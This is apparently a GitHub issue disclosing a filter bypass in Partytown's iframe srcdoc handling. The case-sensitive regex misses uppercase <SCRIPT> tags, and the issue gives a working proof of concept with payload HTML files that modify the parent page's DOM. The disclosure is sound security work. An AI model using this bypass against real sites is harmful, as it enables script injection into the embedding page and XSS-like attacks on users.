Skip to content

[🐞] Script tag rewriting bypass in iframe srcdoc handling due to case-sensitive <script> matching #710

@WiiiiillYeng

Description

@WiiiiillYeng

Describe the bug

Hi, I found a case-sensitive script tag rewriting bypass in the iframe srcdoc handling path and wanted to share a reproducible report.

Summary

@qwik.dev/partytown rewrites scripts from HTML loaded through the worker-side HTMLIFrameElement.src path before placing that HTML into an iframe srcdoc.

In the current implementation, the script start tag is matched with a case-sensitive regular expression:

const SCRIPT_TAG_REGEXP = new RegExp(`<script\\s*((${ATTR_REGEXP_STR}\\s*)*)>`, "mg");

Because the regex does not use the i flag, it matches lowercase <script> but does not match valid HTML case variants such as <SCRIPT> or <ScRiPt>. As a result, those script tags are not rewritten to type="text/partytown" and can execute as normal JavaScript after the HTML is written into srcdoc.

This code path appears to rely on script tag rewriting to prevent iframe HTML scripts from executing as ordinary JavaScript, but case variants bypass that rewriting.

Affected Scenario / Preconditions

The issue is relevant when all of the following are true:

  1. A page uses @qwik.dev/partytown.
  2. Code running in the Partytown worker environment creates or controls an iframe and sets iframe.src.
  3. The iframe URL response can be read by Partytown's worker-side XHR.
    • Same-origin URLs are typically readable.
    • Cross-origin URLs may also be readable if CORS allows it.
    • Ordinary cross-origin URLs without CORS are generally blocked by the browser before this rewrite path can process the response.
  4. The HTML response contains a script tag using an HTML-valid case variant such as <SCRIPT>.

Security Impact

In the affected path, Partytown fetches the iframe HTML, rewrites matching script tags, and writes the result into srcdoc.

When a script tag is written as <SCRIPT>, the regex does not match it. The tag remains unchanged in srcdoc and is executed by the browser as a normal script.

In same-origin or equivalent-access scenarios, the executed script can access parent.document. In my local reproduction, the payload inside the iframe successfully modified the parent page DOM:

parent.document.body.dataset.payloadExecuted = "uppercase";
parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";

This means the practical impact is not limited to script execution inside an isolated iframe. If an attacker can influence the iframe HTML response in an affected application, the bypass may allow DOM manipulation of the embedding page, which can lead to XSS-like impact such as reading/modifying page content, changing forms or links, or performing same-origin actions in the user's browser context depending on the application.

PoC

I created a local reproduction against:

@qwik.dev/partytown@0.13.2

Main page

The main page loads Partytown and runs this code inside a type="text/partytown" script, ensuring that the worker-side iframe src setter path is exercised:

<script type="text/partytown">
  (function pollAndRun() {
    const kind = document.body && document.body.dataset ? document.body.dataset.ptCase : "";

    if (kind) {
      document.body.dataset.ptCase = "";
      document.body.dataset.workerStage = "observed:" + kind;

      const frame = document.createElement("iframe");
      frame.id = "pt-target-frame";
      frame.addEventListener("load", function () {
        try {
          const srcdoc = frame.srcdoc || "";
          document.body.dataset.workerStage = "iframe-loaded";
          document.body.dataset.srcdocLength = String(srcdoc.length);
          document.getElementById("srcdocPreview").textContent = srcdoc;
        } catch (err) {
          document.body.dataset.workerStage = "iframe-load-error:" + String(err);
        }
      });

      document.body.appendChild(frame);
      document.body.dataset.workerStage = "iframe-created";
      frame.src = kind === "lowercase" ? "/control-lowercase.html" : "/evil-uppercase.html";
      document.body.dataset.workerStage = "src-set";
    }

    setTimeout(pollAndRun, 100);
  }());
</script>

Control case: lowercase <script> is rewritten

control-lowercase.html:

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>lowercase script control</title>
</head>
<body>
  <h2>lowercase control page</h2>
  <script>
    parent.document.body.dataset.payloadExecuted = "lowercase";
    parent.document.getElementById("payloadResult").textContent = "lowercase payload executed";
  </script>
</body>
</html>

Observed result:

  • The iframe reaches iframe-loaded.
  • srcdocPreview shows the script was rewritten to include type="text/partytown".

This confirms the rewrite path is active for normal lowercase <script>.

Bypass case: uppercase <SCRIPT> is not rewritten

evil-uppercase.html:

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>uppercase script payload</title>
</head>
<body>
  <h2>uppercase payload page</h2>
  <SCRIPT>
    parent.document.body.dataset.payloadExecuted = "uppercase";
    parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";
  </SCRIPT>
</body>
</html>

Observed result:

Current status: payload executed
Payload result: uppercase payload executed

State snapshot:

{
  "requestedCase": "",
  "workerStage": "iframe-loaded",
  "payloadExecuted": "uppercase",
  "iframePresent": true,
  "payloadResult": "uppercase payload executed"
}

The srcdocPreview still contains the original uppercase script tag:

<SCRIPT>
  parent.document.body.dataset.payloadExecuted = "uppercase";
  parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";
</SCRIPT>

This demonstrates that the uppercase tag bypasses rewriting and executes as ordinary JavaScript.

Expected Behavior

Script tags in iframe HTML should be handled consistently regardless of HTML tag-name casing. If Partytown intends to rewrite script tags before writing iframe HTML into srcdoc, then <SCRIPT>, <ScRiPt>, and other valid case variants should not remain executable as normal JavaScript.

Actual Behavior

Lowercase <script> tags are rewritten to type="text/partytown", but uppercase <SCRIPT> tags are not matched by SCRIPT_TAG_REGEXP, remain unchanged in srcdoc, and execute normally.

Reproduction

https://github.com/WiiiiillYeng/partytown_reproduction

Steps to reproduce

@qwik.dev/partytown script tag case PoC

Files

  • index.html: main verification page
  • control-lowercase.html: control payload using normal lowercase <script>
  • evil-uppercase.html: payload using uppercase <SCRIPT>
  • server.cjs: minimal local static server with COOP and COEP headers so crossOriginIsolated can become true
    • Change the PARTYTOWN_LIB variable to your partytown/lib path.

How to run

  1. In this directory, run node server.cjs
  2. Open http://127.0.0.1:8123/
  3. Confirm the page shows crossOriginIsolated: true
  4. Click Run lowercase <script> control
  5. Confirm Payload result stays waiting and srcdocPreview contains type="text/partytown"
  6. Click Run uppercase <SCRIPT> case

What indicates the bypass is real

  • Current status advances beyond requested:* into observed:*, iframe-created, src-set, or iframe-loaded
  • The lowercase control is rewritten to type="text/partytown" and does not execute as a normal script
  • srcdocPreview still contains an unmodified uppercase <SCRIPT> tag

Helpful DevTools checks

window.crossOriginIsolated
document.body.dataset
document.getElementById("srcdocPreview").textContent

ScreenShots

Image Image

Browser Info

Edge

Additional Information

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions